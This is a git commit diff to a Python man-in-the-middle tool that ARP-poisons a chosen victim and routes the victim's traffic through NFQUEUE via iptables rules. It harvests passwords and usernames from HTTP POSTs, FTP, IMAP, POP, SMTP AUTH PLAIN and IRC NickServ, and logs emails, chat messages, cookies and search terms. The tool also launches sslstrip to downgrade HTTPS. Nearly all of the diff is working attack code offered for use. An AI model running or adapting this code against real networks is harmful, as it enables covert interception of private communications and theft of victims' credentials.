swapped out scapy sniff() with twisteds reactor

This commit is contained in:
DanMcInerney 2013-10-26 15:12:42 -06:00
parent 99bc745e67
commit d6978fb21f
2 changed files with 406 additions and 246 deletions

View file

@ -52,3 +52,5 @@ To do:
integrate this project with wifite? integrate this project with wifite?
use twisted so we can use nfqueue as pkt input use twisted so we can use nfqueue as pkt input
add ability to read from pcap

View file

@ -14,6 +14,10 @@ from os import geteuid, devnull
import signal import signal
from base64 import b64decode from base64 import b64decode
from subprocess import * from subprocess import *
from twisted.internet import reactor
from twisted.internet.interfaces import IReadDescriptor
from twisted.internet.protocol import Protocol, Factory
import nfqueue
#Create the arguments #Create the arguments
parser = argparse.ArgumentParser() parser = argparse.ArgumentParser()
@ -71,184 +75,208 @@ class Parser():
POPdest = '' POPdest = ''
Cookies = [] Cookies = []
IRCnick = '' IRCnick = ''
oldack = ''
oldpkt = ''
def start(self, pkt): def start(self, payload):
try:
data = payload.get_data()
pkt = Ether(data)/IP(data)
except:
return
if pkt.haslayer(Raw) and pkt.haslayer(Ether) and pkt.haslayer(TCP): if pkt.haslayer(Raw) and pkt.haslayer(Ether) and pkt.haslayer(TCP):
dport = pkt[TCP].dport dport = pkt[TCP].dport
sport = pkt[TCP].sport sport = pkt[TCP].sport
pktload = repr(pkt[Raw].load)
pktload = pktload[1:-1]
ack = pkt[TCP].ack ack = pkt[TCP].ack
# These MAC vars are always inaccurate! Why!? I could prevent the script from double outputting some things (outgoing email) if these were accurate
# They're accurate with sniff(), just not NFQUEUE
MAC_src = pkt[Ether].src MAC_src = pkt[Ether].src
MAC_dst = pkt[Ether].dst MAC_dst = pkt[Ether].dst
IP_dst = pkt[IP].dst IP_dst = pkt[IP].dst
mail_ports = [143, 110, 26] IP_src = pkt[IP].src
if dport in mail_ports or sport in mail_ports: # Can't use repr if we're gzip deflating which will be necessary when code injection is added
self.mailspy(pktload, dport, sport, MAC_src, MAC_dst, IP_dst) load = repr(pkt[Raw].load)[1:-1]
if MAC_src == victimMAC: # Catch fragmented packets only if they're being sent from the victim to a web server
if dport == 6667 or sport == 6667: if dport == 80:
self.irc(pktload, dport, sport, MAC_src) if ack == self.oldack:
self.oldpkt = self.oldpkt+load
load = self.oldpkt
else: else:
self.URL(pktload, ack, dport, sport) self.oldpkt = load
self.oldack = ack
mail_ports = [25, 26, 110, 143]
if dport in mail_ports or sport in mail_ports:
self.mailspy(load, dport, sport, MAC_dst, IP_dst, IP_src)
if dport == 6667 or sport == 6667:
self.irc(load, dport, sport, IP_src)
if dport == 21 or sport == 21:
self.ftp(load, IP_dst, IP_src)
if dport == 80 or sport == 80:
self.URL(load, ack, dport, sport)
def URL(self, pktload, ack, dport, sport): def URL(self, load, ack, dport, sport):
global oldack, oldload, oldurl, oldhost, oldhttp, combined_load # global oldack, oldload, oldurl, oldhost, oldhttp, combined_load
host = None host = None
get = None get = None
post = None post = None
url = None url = None
#Split the packet between headers and body and grab the URL from the headers try:
#If you see any other login variable names, tell me and I'll add em in here headers, body = load.split(r"\r\n\r\n", 1)
except:
headers = load
body = ''
# Split the packet between headers and body and grab the URL from the headers
# If you see any other login/pw variable names, tell me and I'll add em in here
# As it stands now this has a moderately high false positive rate; I figured better to err on the site of more data than less and it's easy to tell what's a real hit vs false positive
user_regex = '([Ee]mail|[Uu]ser|[Uu]sername|[Nn]ame|[Ll]ogin|[Ll]og|[Ll]ogin[Ii][Dd])=([^&|;]*)' user_regex = '([Ee]mail|[Uu]ser|[Uu]sername|[Nn]ame|[Ll]ogin|[Ll]og|[Ll]ogin[Ii][Dd])=([^&|;]*)'
pw_regex = '([Pp]assword|[Pp]ass|[Pp]asswd|[Pp]wd|[Pp]assw)=([^&|;]*)' pw_regex = '([Pp]assword|[Pp]ass|[Pp]asswd|[Pp]wd|[Pp]assw)=([^&|;]*)'
try:
headers, body = pktload.split(r"\r\n\r\n")
except:
headers = pktload
body = ''
header_lines = headers.split(r"\r\n") header_lines = headers.split(r"\r\n")
for l in header_lines: for l in header_lines:
searchHost = re.search('[Hh]ost: ', l) searchHost = re.search('[Hh]ost: ', l)
searchGet = re.search('GET /', l) searchGet = re.search('GET /', l)
searchPost = re.search('POST /', l) searchPost = re.search('POST /', l)
if searchHost: if searchHost:
host = l.split(' ') host = l.split('Host: ')[1]
host = host[1] if not host:
host = l.split('host: ')[1]
if searchGet: if searchGet:
get = l.split(' ') get = l.split('GET ')[1].split(' ')[0]
get = get[1]
if searchPost: if searchPost:
post = l.split(' ') post = l.split(' ')[1].split(' ')[0]
post = post[1]
if host and get: if host and get:
url = host+get url = host+get
if host and post: if host and post:
url = host+post url = host+post
#Catch fragmented packet passwords, FTP passwords, cookies # Catch search terms, print url, print post loads
if args.post: if url != None:
#Catch fragmented packet passwords #Print the URL
if oldack == ack and oldload and oldurl and oldhttp == 'post': if args.urlspy:
combined_load = oldload + pktload d = ['.jpg', '.jpeg', '.gif', '.png', '.css', '.ico', '.js']
try: if any(i in url for i in d):
headers, body = combined_load.split(r"\r\n\r\n") return
except: if len(url) > 146:
headers = combined_load print '[*] '+url[:145]
body = '' else:
header_lines = headers.split(r"\r\n") print '[*] '+url
if body != '': if args.verboseURL:
print B+'[+] fragmented POST: '+W+oldurl+B+' HTTP POST load: '+body+W print '[*] '+url
username = re.findall(user_regex, body)
password = re.findall(pw_regex, body) # Catch search terms
self.user_pass(username, password) # As it stands now this has a moderately high false positive rate mostly due to the very simple ?s= and ?q= vars
self.cookies(oldhost, header_lines) # I figured better to err on the site of more data than less and it's easy to tell the false positives from the real searches
#Catch FTP passwords searched = re.search('((search|query|search\?q|\?s|&q|\?q|search\?p|keywords|command)=([^&][^&]*))', url)
if dport == 21: if searched:
pktload = pktload.replace(r"\r\n", "") searched = searched.group(3)
if 'USER ' in pktload: if 'select%20*%20from' in searched:
print R+'[!] FTP '+pktload+W pass
else:
searched = searched.replace('+', ' ').replace('%20', ' ').replace('%3F', '?').replace('%27', '\'').replace('%40', '@').replace('%24', '$').replace('%3A', ':').replace('%3D', '=').replace('%22', '\"').replace('%24', '$')
print T+'[+] Searched '+W+host+T+': '+searched+W
if args.write: if args.write:
logger.write('FTP'+pktload+'\n') logger.write('[+] Searched %s for: ' % host+searched+'\n')
if 'PASS ' in pktload:
print R+'[!] FTP '+pktload+W
if args.write:
logger.write('[!] FTP'+pktload+'\n')
#Catch search terms, print url, print post loads #Print POST load
if url != None: if post:
#Print the URL if 'ocsp' in url:
if args.urlspy: print B+'[+] POST: '+W+url
d = ['.jpg', '.jpeg', '.gif', '.png', '.css', '.ico', '.js'] elif body != '':
if any(i in url for i in d): print B+'[+] POST: '+W+url+B+' HTTP POST load:',body+W
return username = re.findall(user_regex, body)
if len(url) > 150: password = re.findall(pw_regex, body)
print url[:149] self.user_pass(username, password)
else: self.cookies(host, header_lines)
print url
if args.verboseURL:
print url
#Catch search terms # oldack = ack
searched = re.search('((search|query|search\?q|\?s|&q|\?q|search\?p|keywords|command)=([^&][^&]*))', url) # oldurl = url
if searched: # oldhost = host
searched = searched.group(3) # if oldack != ack:
if 'select%20*%20from' in searched: # oldhttp = None
pass # combined_load = None
else: # else:
searched = searched.replace('+', ' ').replace('%20', ' ').replace('%3F', '?').replace('%27', '\'').replace('%40', '@').replace('%24', '$').replace('%3A', ':').replace('%3D', '=').replace('%22', '\"').replace('%24', '$') # oldload = load
print T+'[+] Searched '+W+host+T+': '+searched+W
if args.write:
logger.write('[+] Searched %s for: ' % host+searched+'\n')
#Print POST load
if post:
if 'ocsp' in url:
print B+'[+] POST: '+W+url
elif body != '':
print B+'[+] POST: '+W+url+B+' HTTP POST load:',body+W
username = re.findall(user_regex, body)
password = re.findall(pw_regex, body)
self.user_pass(username, password)
self.cookies(host, header_lines)
oldhttp = 'post'
oldack = ack
oldurl = url
oldhost = host
if oldack != ack:
oldhttp = None
combined_load = None
else:
oldload = pktload
host = None host = None
get = None get = None
post = None post = None
url = None url = None
def irc(self, pktload, dport, sport, MAC_src): def ftp(self, load, IP_dst, IP_src):
if MAC_src == victimMAC: load = load.replace(r"\r\n", "")
pktload = pktload.split(r"\r\n") if 'USER ' in load:
load = 'USER'+load.split('USER')[1]
print R+'[!] FTP '+load+' SERVER: '+IP_dst+W
if args.write:
logger.write('[!] FTP '+load+' SERVER: '+IP_dst+'\n')
if 'PASS ' in load:
load = 'PASS'+load.split('PASS')[1]
print R+'[!] FTP '+load+' SERVER: '+IP_dst+W
if args.write:
logger.write('[!] FTP '+load+' SERVER: '+IP_dst+'\n')
if 'failed' in load:
load = '530'+load.split('530')[1]
print R+'[*] FTP '+load+W
if args.write:
logger.write('[*] FTP '+load+'\n')
def irc(self, load, dport, sport, IP_src):
load = load.split(r"\r\n")
if args.post: if args.post:
if 'NICK ' in pktload[0]: if IP_src == victimIP:
self.IRCnick = pktload[0].replace('NICK ', '') if 'NICK ' in load[0]:
server = pktload[1].replace('USER user user ', '').replace(' :user', '') self.IRCnick = load[0].split('NICK ')[1]
print C+'[!] IRC username: '+self.IRCnick+' '+server+W server = load[1].replace('USER user user ', '').replace(' :user', '')
if args.write: print R+'[!] IRC username:'+self.IRCnick+' on '+server+W
logger.write('[!] IRC username: '+self.IRCnick+' '+server+'\n')
if 'NS IDENTIFY ' in pktload[0]:
ircpass = pktload[0].replace('NS IDENTIFY ', '')
print C+'[!] IRC password: '+ircpass+W
if args.write:
logger.write('[!] IRC password: '+ircpass+'\n')
if 'JOIN ' in pktload[0]:
join = pktload[0].replace('JOIN ', '')
print C+'[+] IRC joined: '+join+W
if args.write:
logger.write('[+] IRC joined: '+join+'\n')
if 'PART ' in pktload[0]:
part = pktload[0].replace('PART ', '')
print C+'[+] IRC part: '+part+W
if args.write:
logger.write('[+] IRC parted: '+part+'\n')
if 'QUIT ' in pktload[0]:
quit = pktload[0].replace('QUIT ', '')
print C+'[+] IRC quit: '+quit+W
if args.write:
logger.write('[+] IRC quit: '+quit+'\n')
if 'PRIVMSG ' in pktload[0]:
channel = pktload[0].split(':')[0].replace('PRIVMSG ', '').replace(' ', '')
ircmsg = pktload[0].replace('PRIVMSG ', '').replace(channel, '')[2:]
if self.IRCnick != '':
print C+'[+] IRC '+self.IRCnick+' to '+W+channel+C+': '+ircmsg+W
if args.write: if args.write:
logger.write('[+] IRC '+self.IRCnick+' to '+channel+':'+ircmsg+'\n') logger.write('[!] IRC username: '+self.IRCnick+' on '+server+'\n')
else: if 'NS IDENTIFY ' in load[0]:
print C+'[+] IRC msg to '+W+channel+C+':'+ircmsg+W ircpass = load[0].split('NS IDENTIFY ')[1]
print R+'[!] IRC password: '+ircpass+W
if args.write: if args.write:
logger.write('[+] IRC msg to '+channel+':'+ircmsg+'\n') logger.write('[!] IRC password: '+ircpass+'\n')
if 'JOIN ' in load[0]:
join = load[0].split('JOIN ')[1]
print C+'[+] IRC joined: '+W+join
if args.write:
logger.write('[+] IRC joined: '+join+'\n')
if 'PART ' in load[0]:
part = load[0].split('PART ')[1]
print C+'[+] IRC left: '+W+part
if args.write:
logger.write('[+] IRC left: '+part+'\n')
if 'QUIT ' in load[0]:
quit = load[0].split('QUIT :')[1]
print C+'[+] IRC quit: '+W+quit
if args.write:
logger.write('[+] IRC quit: '+quit+'\n')
# Catch messages from the victim to an IRC channel
if 'PRIVMSG ' in load[0]:
if IP_src == victimIP:
load = load[0].split('PRIVMSG ')[1]
channel = load.split(' :', 1)[0]
ircmsg = load.split(' :', 1)[1]
if self.IRCnick != '':
print C+'[+] IRC '+W+self.IRCnick+C+' to '+W+channel+C+': '+ircmsg+W
if args.write:
logger.write('[+] IRC '+self.IRCnick+' to '+channel+': '+ircmsg+'\n')
else:
print C+'[+] IRC msg to '+W+channel+C+': '+ircmsg+W
if args.write:
logger.write('[+] IRC msg to '+channel+':'+ircmsg+'\n')
# Catch messages from others that tag the victim's nick
elif self.IRCnick in load[0] and self.IRCnick != '':
print 'self.ircnick is in load'
sender_nick = load[0].split(':', 1)[1].split('!', 1)[0]
try:
load = load[0].split('PRIVMSG ')[1].split(' :', 1)
channel = load[0]
ircmsg = load[1]
print C+'[+] IRC '+W+sender_nick+C+' to '+W+channel+C+': '+ircmsg[1:]+W
except:
return
def cookies(self, host, header_lines): def cookies(self, host, header_lines):
for x in header_lines: for x in header_lines:
@ -276,57 +304,60 @@ class Parser():
if args.write: if args.write:
logger.write('[!] Password: '+p[1]+'\n') logger.write('[!] Password: '+p[1]+'\n')
def mailspy(self, pktload, dport, sport, MAC_src, MAC_dst, IP_dst): def mailspy(self, load, dport, sport, MAC_dst, IP_dst, IP_src):
try: try:
headers, body = pktload.split(r"\r\n\r\n", 1) headers, body = load.split(r"\r\n\r\n", 1)
except: except:
headers = pktload headers = load
body = '' body = ''
header_lines = headers.split(r"\r\n") header_lines = headers.split(r"\r\n")
email_headers = ['Date: ', 'Subject: ', 'To: ', 'From: '] email_headers = ['Date: ', 'Subject: ', 'To: ', 'From: ']
# Find passwords # Find passwords
if dport in [110, 143, 26]: if dport in [25, 26, 110, 143]:
self.passwords(MAC_src, IP_dst, pktload, dport) self.passwords(IP_src, load, dport, IP_dst)
# Find outgoing messages # Find outgoing messages
if dport == 26: if dport == 26 or dport == 25:
self.outgoing(pktload, body, header_lines, email_headers, MAC_src) self.outgoing(load, body, header_lines, email_headers, IP_src)
# Find incoming messages # Find incoming messages
if MAC_dst == victimMAC: # if IP_dst == victimIP:
if sport in [110, 143]: if sport in [110, 143]:
self.incoming(headers, body, header_lines, email_headers) self.incoming(headers, body, header_lines, email_headers)
def passwords(self, MAC_src, IP_dst, pktload, dport): def passwords(self, IP_src, load, dport, IP_dst):
if dport == 143 and MAC_src == victimMAC: # Get rid of all the hex at the beginning of the load
load = load.replace(r'\r\n', '').split(r"\x")[-1][2:]
if dport == 143 and IP_src == victimIP and len(load) > 10:
if self.IMAPauth == 1 and self.IMAPdest == IP_dst: if self.IMAPauth == 1 and self.IMAPdest == IP_dst:
print R+'[!] IMAP user and pass found: '+pktload+W print R+'[!] IMAP user and pass found: '+load+W
if args.write: if args.write:
logger.write('[!] IMAP user and pass found: '+pktload+'\n') logger.write('[!] IMAP user and pass found: '+load+'\n')
self.decode(pktload, dport) self.decode(load, dport)
self.IMAPauth = 0 self.IMAPauth = 0
self.IMAPdest = '' self.IMAPdest = ''
if "authenticate plain" in pktload: if "authenticate plain" in load:
self.IMAPauth = 1 self.IMAPauth = 1
self.IMAPdest = IP_dst self.IMAPdest = IP_dst
if dport == 110 and MAC_src == victimMAC: if dport == 110 and IP_src == victimIP:
if self.POPauth == 1 and self.POPdest == IP_dst: if self.POPauth == 1 and self.POPdest == IP_dst and len(load) > 10:
print R+'[!] POP user and pass found: '+pktload+W print R+'[!] POP user and pass found: '+load+W
if args.write: if args.write:
logger.write('[!] POP user and pass found: '+pktload+'\n') logger.write('[!] POP user and pass found: '+load+'\n')
self.decode(pktload, dport) self.decode(load, dport)
self.POPauth = 0 self.POPauth = 0
self.POPdest = '' self.POPdest = ''
if 'AUTH PLAIN' in pktload: if 'AUTH PLAIN' in load:
self.POPauth = 1 self.POPauth = 1
self.POPdest = IP_dst self.POPdest = IP_dst
if dport == 26: if dport == 26:
if 'AUTH PLAIN ' in pktload: if 'AUTH PLAIN ' in load:
print R+'[!] POP authentication found: '+pktload+W print R+'[!] POP authentication found: '+load+W
if args.write: if args.write:
logger.write('[!] POP authentication found: '+pktload+'\n') logger.write('[!] POP authentication found: '+load+'\n')
self.decode(pktload, dport) self.decode(load, dport)
def outgoing(self, headers, body, header_lines, email_headers, MAC_src): # This doubles up the outgoing message for some reason. Fix.
if MAC_src == victimMAC: def outgoing(self, headers, body, header_lines, email_headers, IP_src):
if IP_src == victimIP:
if 'Message-ID' in headers: if 'Message-ID' in headers:
for l in header_lines: for l in header_lines:
for x in email_headers: for x in email_headers:
@ -342,63 +373,110 @@ class Parser():
logger.write(' '+x+'\n') logger.write(' '+x+'\n')
self.headersFound = [] self.headersFound = []
if body != '': if body != '':
try:
body = body.split(r'\r\n\x')[0]
except:
pass
print O+' Message:',body+W print O+' Message:',body+W
if args.write: if args.write:
logger.write(' Message:'+body+'\n') logger.write(' Message:'+body+'\n')
def incoming(self, headers, body, header_lines, email_headers): def incoming(self, headers, body, header_lines, email_headers):
if 'FETCH' not in headers: for l in header_lines:
for l in header_lines: for x in email_headers:
for x in email_headers: if x in l:
if x in l: self.headersFound.append(l)
self.headersFound.append(l) if body != '':
if len(self.headersFound) > 3: try:
print O+'[!] INCOMING MESSAGE'+W beginning = body.split(r"\r\n")[0]
message = str(body.split(r"\r\n\r\n", 1)[1:]).replace('[', '', 1)
message = message.split(beginning)[0][1:]
except:
print O+' Couldn\'t format message body:', body+W
if len(self.headersFound) > 3 and message != '':
print O+'[!] INCOMING MESSAGE'+W
if args.write:
logger.write('[!] INCOMING MESSAGE\n')
for x in self.headersFound:
print O+' '+x+W
if args.write: if args.write:
logger.write('[!] INCOMING MESSAGE\n') logger.write(' '+x+'\n')
for x in self.headersFound: print O+' Message:', message+W
print O+' '+x+W if args.write:
if args.write: logger.write(' Message:'+message+'\n')
logger.write(' '+x+'\n') self.headersFound = []
self.headersFound = []
if body != '':
try:
beginning = body.split(r"\r\n")[0]
message = str(body.split(r"\r\n\r\n", 1)[1:]).replace('[', '', 1)
message = message.split(beginning)[0]
print O+' Message:', message+W
if args.write:
logger.write(' Message:'+message+'\n')
except:
print O+' Couldn\'t format message body:', body+W
def decode(self, load, dport): def decode(self, load, dport):
if dport == 26: if dport == 26 or dport == 25:
try: try:
b64str = load.replace("AUTH PLAIN ", "").replace(r"\r\n", "") b64str = load.replace("AUTH PLAIN ", "").replace(r"\r\n", "")
decoded = repr(b64decode(b64str)).replace("'", "") decoded = repr(b64decode(b64str))[1:-1].replace(r'\x00', ' ')
decoded = decoded.replace(r'\x00', ' ') # Sometimes the hex at the beginning of the load goes 2 chars past the last \x and sometimes 3 or 4
print R+'[!] Decoded:'+decoded+W if '@' in decoded:
if args.write: print R+'[!] Decoded:'+decoded+W
logger.write('[!] Decoded:'+decoded+'\n') if args.write:
logger.write('[!] Decoded:'+decoded+'\n')
else:
b64str = load.replace("AUTH PLAIN ", "").replace(r"\r\n", "")[1:]
decoded = repr(b64decode(b64str))[1:-1].replace(r'\x00', ' ')
if '@' in decoded:
print R+'[!] Decoded:'+decoded+W
if args.write:
logger.write('[!] Decoded:'+decoded+'\n')
else:
b64str = load.replace("AUTH PLAIN ", "").replace(r"\r\n", "")[2:]
decoded = repr(b64decode(b64str)).replace("'", "").replace(r'\x00', ' ')
if '@' in decoded:
print R+'[!] Decoded:'+decoded+W
if args.write:
logger.write('[!] Decoded:'+decoded+'\n')
except: except:
pass pass
else: else:
try: try:
b64str = load.replace(r"\r\n", "") b64str = load
decoded = repr(b64decode(b64str)).replace("'", "") decoded = repr(b64decode(b64str))[1:-1].replace(r'\x00', ' ')
decoded = decoded.replace(r'\x00', ' ') if '@' in decoded:
print R+'[!] Decoded:',decoded+W print R+'[!] Decoded:',decoded+W
if args.write: if args.write:
logger.write('[!] Decoded:'+decoded+'\n') logger.write('[!] Decoded:'+decoded+'\n')
else:
b64str = load[1:]
decoded = repr(b64decode(b64str))[1:-1].replace(r'\x00', ' ')
if '@' in decoded:
print R+'[!] Decoded:',decoded+W
if args.write:
logger.write('[!] Decoded:'+decoded+'\n')
else:
b64str = load[2:]
decoded = repr(b64decode(b64str))[1:-1].replace(r'\x00', ' ')
if '@' in decoded:
print R+'[!] Decoded:',decoded+W
if args.write:
logger.write('[!] Decoded:'+decoded+'\n')
except: except:
pass pass
class Threads(): #Wrap the nfqueue object in an IReadDescriptor and run the process_pending function in a .doRead() of the twisted IReadDescriptor
class Queued(object):
def __init__(self):
self.q = nfqueue.queue()
self.q.set_callback(Parser().start)
self.q.fast_open(0, socket.AF_INET)
self.q.set_queue_maxlen(5000)
reactor.addReader(self)
self.q.set_mode(nfqueue.NFQNL_COPY_PACKET)
print '[+] Queue started; waiting for data\n'
def fileno(self):
return self.q.get_fd()
def doRead(self):
self.q.process_pending(20)
def connectionLost(self, reason):
reactor.removeReader(self)
def logPrefix(self):
return 'queued'
def urlspy(self, victimIP, interface): class Threads():
sniff_filter = 'port 80 or port 21 or port 143 or port 110 or port 26 or port 6667'
sniff(store=0, filter=sniff_filter, prn=Parser().start, iface=interface)
def dnsspoof(self, victimIP): def dnsspoof(self, victimIP):
while 1: while 1:
@ -412,8 +490,7 @@ class Threads():
def sslstrip(self, DN): def sslstrip(self, DN):
print 'Redirecting traffic to port 10000 and starting sslstrip\n' print 'Redirecting traffic to port 10000 and starting sslstrip\n'
iptables = ['iptables', '-t', 'nat', '-A', 'PREROUTING', '-p', 'tcp', '--destination-port', '80', '-j', 'REDIRECT', '--to-port', '10000'] os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000')
Popen(iptables, stdout=PIPE, stderr=DN)
xterm = ['xterm', '-e', 'sslstrip', '-f', '-w', 'sslstrip.txt'] xterm = ['xterm', '-e', 'sslstrip', '-f', '-w', 'sslstrip.txt']
Popen(xterm, stdout=PIPE, stderr=DN) Popen(xterm, stdout=PIPE, stderr=DN)
@ -421,11 +498,13 @@ class Threads():
xterm = ['xterm', '-e', 'driftnet', '-i', '%s' % interface] xterm = ['xterm', '-e', 'driftnet', '-i', '%s' % interface]
Popen(xterm, stdout=PIPE, stderr=DN) Popen(xterm, stdout=PIPE, stderr=DN)
def start_threads(self, victimIP, interface, DN): def start_threads(self, victimIP, interface, DN):#, victimMAC, routerMAC, routerIP):
if args.urlspy or args.verboseURL or args.post:
u = Thread(target=self.urlspy, args=(victimIP, interface)) #start twisted reactor in thread
u.daemon = True #Make sure the thread closes with the main program on Ctrl-C rt = Thread(target=reactor.run, args=(False,)) #reactor must be started without signal handling since it's not in the main thread
u.start() rt.daemon = True
rt.start()
if args.driftnet: if args.driftnet:
dr = Thread(target=self.driftnet, args=(interface, DN)) dr = Thread(target=self.driftnet, args=(interface, DN))
dr.daemon = True dr.daemon = True
@ -449,23 +528,55 @@ def print_vars(interface, DHCPsrvr, dnsIP, local_domain, routerIP, victimIP):
print "[+] Client IP: " + victimIP print "[+] Client IP: " + victimIP
#Enable IP forwarding and flush possibly conflicting iptables rules #Enable IP forwarding and flush possibly conflicting iptables rules
def ip_flush_forward(DN): def setup(DN, victimMAC):
ipfwd = Popen(['cat', '/proc/sys/net/ipv4/ip_forward'], stdout=PIPE, stderr=DN) ipfwd = Popen(['cat', '/proc/sys/net/ipv4/ip_forward'], stdout=PIPE, stderr=DN)
if ipfwd.communicate()[0] != '1\n': if ipfwd.communicate()[0] != '1\n':
ipf = open('/proc/sys/net/ipv4/ip_forward', 'r+') ipf = open('/proc/sys/net/ipv4/ip_forward', 'r+')
ipf.write('1\n') ipf.write('1\n')
ipf.close() ipf.close()
print '[+] Enabled IP forwarding' print '[+] Enabled IP forwarding'
Popen(['iptables', '-F'], stdout=PIPE, stderr=DN) os.system('iptables -F')
Popen(['iptables', '-t', 'nat', '-F'], stdout=PIPE, stderr=DN) os.system('iptables -X')
Popen(['iptables', '-X'], stdout=PIPE, stderr=DN) os.system('iptables -t nat -F')
Popen(['iptables', '-t', 'nat', '-X'], stdout=PIPE, stderr=DN) os.system('iptables -t nat -X')
print '[+] Flushed the firewall\n' print '[+] Flushed the firewall'
# PREROUTING is a rule that will be needed to be added when code injection is added to this script
# os.system('iptables -t nat -A PREROUTING -p tcp -s %s -j NFQUEUE' % victimIP)
# os.system('iptables -t nat -A PREROUTING -p tcp -d %s -j NFQUEUE' % victimIP)
# Just throw packets that are from and to the victim into the reactor
os.system('iptables -A FORWARD -p tcp -s %s -m multiport --dports 21,26,53,80,110,143,6667 -j NFQUEUE' % victimIP)
os.system('iptables -A FORWARD -p tcp -d %s -m multiport --dports 21,26,53,80,110,143,6667 -j NFQUEUE' % victimIP)
os.system('iptables -A FORWARD -p tcp -s %s -m multiport --sports 21,26,53,80,110,143,6667 -j NFQUEUE' % victimIP)
os.system('iptables -A FORWARD -p tcp -d %s -m multiport --sports 21,26,53,80,110,143,6667 -j NFQUEUE' % victimIP)
print '[+] Forwarded traffic to the queue'
def main(): def main():
#For use in URL_cb, mailspy respectively #For use in URL_cb, mailspy respectively
global victimMAC, victimIP global victimMAC, victimIP
# Cleans up if Ctrl-C is caught
def signal_handler(signal, frame):
print 'learing iptables, sending healing packets, and turning off IP forwarding...'
if args.write:
logger.close()
if args.dnsspoof:
q.unbind(socket.AF_INET)
q.close()
ipf = open('/proc/sys/net/ipv4/ip_forward', 'r+')
ipf.write('0\n')
ipf.close()
if not dnsIP == routerIP:
Spoof().restore(routerIP, dnsIP, routerMAC, dnsMAC)
Spoof().restore(routerIP, dnsIP, routerMAC, dnsMAC)
os.system('iptables -F')
os.system('iptables -X')
os.system('iptables -t nat -F')
os.system('iptables -t nat -X')
Spoof().restore(routerIP, victimIP, routerMAC, victimMAC)
Spoof().restore(routerIP, victimIP, routerMAC, victimMAC)
exit(0)
signal.signal(signal.SIGINT, signal_handler)
#Check if root #Check if root
if not geteuid()==0: if not geteuid()==0:
exit("\nPlease run as root\n") exit("\nPlease run as root\n")
@ -494,6 +605,7 @@ def main():
interface = routerRE.group(3) interface = routerRE.group(3)
print "[+] Checking the DHCP and DNS server addresses..." print "[+] Checking the DHCP and DNS server addresses..."
# DHCP is a pain in the ass to craft
dhcp = (Ether(dst='ff:ff:ff:ff:ff:ff')/ dhcp = (Ether(dst='ff:ff:ff:ff:ff:ff')/
IP(src="0.0.0.0",dst="255.255.255.255")/ IP(src="0.0.0.0",dst="255.255.255.255")/
UDP(sport=68,dport=67)/ UDP(sport=68,dport=67)/
@ -524,6 +636,7 @@ def main():
DHCPsrvr = routerIP DHCPsrvr = routerIP
local_domain = 'None' local_domain = 'None'
# Print the vars
print_vars(interface, DHCPsrvr, dnsIP, local_domain, routerIP, victimIP) print_vars(interface, DHCPsrvr, dnsIP, local_domain, routerIP, victimIP)
try: try:
routerMAC = Spoof().originalMAC(routerIP) routerMAC = Spoof().originalMAC(routerIP)
@ -535,49 +648,94 @@ def main():
print "[+] Victim MAC: " + victimMAC print "[+] Victim MAC: " + victimMAC
except: except:
exit("[!] Could not get victim MAC address") exit("[!] Could not get victim MAC address")
if not dnsIP == routerIP: if dnsIP != routerIP:
try: try:
dnsMAC = Spoof().originalMAC(dnsIP) dnsMAC = Spoof().originalMAC(dnsIP)
print "[+] DNS server MAC: " + dnsMAC print "[+] DNS server MAC: " + dnsMAC
except: except:
print "[!] Could not get DNS server MAC address" print "[!] Could not get DNS server MAC address"
exit("[!] Could not get victim MAC address") if dnsIP == routerIP:
dnsMAC = routerMAC
ip_flush_forward(DN)
Threads().start_threads(victimIP, interface, DN)
#Cleans up if Ctrl-C is caught
def signal_handler(signal, frame):
print 'learing iptables, sending healing packets, and turning off IP forwarding...'
if args.write:
logger.close()
if args.dnsspoof:
q.unbind(socket.AF_INET)
q.close()
ipf = open('/proc/sys/net/ipv4/ip_forward', 'r+')
ipf.write('0\n')
ipf.close()
if not dnsIP == routerIP:
Spoof().restore(routerIP, dnsIP, routerMAC, dnsMAC)
Spoof().restore(routerIP, dnsIP, routerMAC, dnsMAC)
Popen(['iptables', '-F'], stdout=PIPE, stderr=DN)
Popen(['iptables', '-t', 'nat', '-F'], stdout=PIPE, stderr=DN)
Popen(['iptables', '-X'], stdout=PIPE, stderr=DN)
Popen(['iptables', '-t', 'nat', '-X'], stdout=PIPE, stderr=DN)
Spoof().restore(routerIP, victimIP, routerMAC, victimMAC)
Spoof().restore(routerIP, victimIP, routerMAC, victimMAC)
exit(0)
signal.signal(signal.SIGINT, signal_handler)
setup(DN, victimMAC)
Queued()
th = Threads()
th.start_threads(victimIP, interface, DN)
while 1: while 1:
Spoof().poison(routerIP, victimIP, routerMAC, victimMAC)
#If DNS server is different from the router then we must spoof ourselves as the DNS server as well as the router #If DNS server is different from the router then we must spoof ourselves as the DNS server as well as the router
if not dnsIP == routerIP: if not dnsIP == routerIP:
Spoof().poison(dnsIP, victimIP, dnsMAC, victimMAC) Spoof().poison(dnsIP, victimIP, dnsMAC, victimMAC)
Spoof().poison(routerIP, victimIP, routerMAC, victimMAC)
time.sleep(1.5) time.sleep(1.5)
if __name__ == "__main__": if __name__ == "__main__":
main() main()
# except select.error as ex:
# if ex[0] == 4:
# pass
# else:
# raise
# Threads().start_threads(victimIP, interface, DN)#, victimMAC, routerMAC, routerIP)
# while 1:
# try:
# #If DNS server is different from the router then we must spoof ourselves as the DNS server as well as the router
# if not dnsIP == routerIP:
# Spoof().poison(dnsIP, victimIP, dnsMAC, victimMAC)
# Spoof().poison(routerIP, victimIP, routerMAC, victimMAC)
# time.sleep(1.5)
# except KeyboardInterrupt:
# print 'learing iptables, sending healing packets, and turning off IP forwarding...'
# if args.write:
# logger.close()
# if args.dnsspoof:
# q.unbind(socket.AF_INET)
# q.close()
# ipf = open('/proc/sys/net/ipv4/ip_forward', 'r+')
# ipf.write('0\n')
# ipf.close()
# if dnsIP != routerIP:
# Spoof().restore(routerIP, dnsIP, routerMAC, dnsMAC)
# Spoof().restore(routerIP, dnsIP, routerMAC, dnsMAC)
# Popen(['iptables', '-F'], stdout=PIPE, stderr=DN)
# Popen(['iptables', '-t', 'nat', '-F'], stdout=PIPE, stderr=DN)
# Popen(['iptables', '-X'], stdout=PIPE, stderr=DN)
# Popen(['iptables', '-t', 'nat', '-X'], stdout=PIPE, stderr=DN)
# Spoof().restore(routerIP, victimIP, routerMAC, victimMAC)
# Spoof().restore(routerIP, victimIP, routerMAC, victimMAC)
# exit(0)
# while 1:
# continue
# reactor.run()
# while 1:
# try:
# #If DNS server is different from the router then we must spoof ourselves as the DNS server as well as the router
